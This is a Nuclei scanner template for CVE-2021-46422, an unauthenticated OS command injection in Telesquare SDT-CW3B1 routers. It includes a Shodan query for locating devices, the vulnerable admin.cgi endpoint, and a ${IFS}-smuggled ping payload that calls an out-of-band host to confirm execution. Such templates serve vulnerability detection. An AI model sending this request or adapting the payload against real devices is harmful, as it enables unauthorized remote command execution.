id: CVE-2021-46422

info:
  name: SDT-CW3B1 1.1.0 - OS Command Injection
  author: badboycxcc,prajiteshsingh
  severity: critical
  description: |
    Telesquare SDT-CW3B1 1.1.0 is affected by an OS command injection vulnerability that allows a remote attacker to execute OS commands without any authentication.
  reference:
    - https://www.exploit-db.com/exploits/50936
    - https://drive.google.com/drive/folders/1YJlVlb4SlTEGONzIjiMwd2P7ucP_Pm7T?
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46422
    - https://drive.google.com/drive/folders/1YJlVlb4SlTEGONzIjiMwd2P7ucP_Pm7T?usp=sharing
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-46422
    cwe-id: CWE-78
  metadata:
    shodan-query: html:"SDT-CW3B1"
    verified: "true"
  tags: cve,cve2021,telesquare,rce,router,injection,edb

variables:
  cmd: "ping${IFS}-c${IFS}1${IFS}{{interactsh-url}}"

requests:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/admin.cgi?Command=sysCommand&Cmd={{cmd}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<CmdResult>"

      - type: word
        part: interactsh_protocol
        name: http
        words:
          - "dns"

# Enhanced by mp on 2022/05/18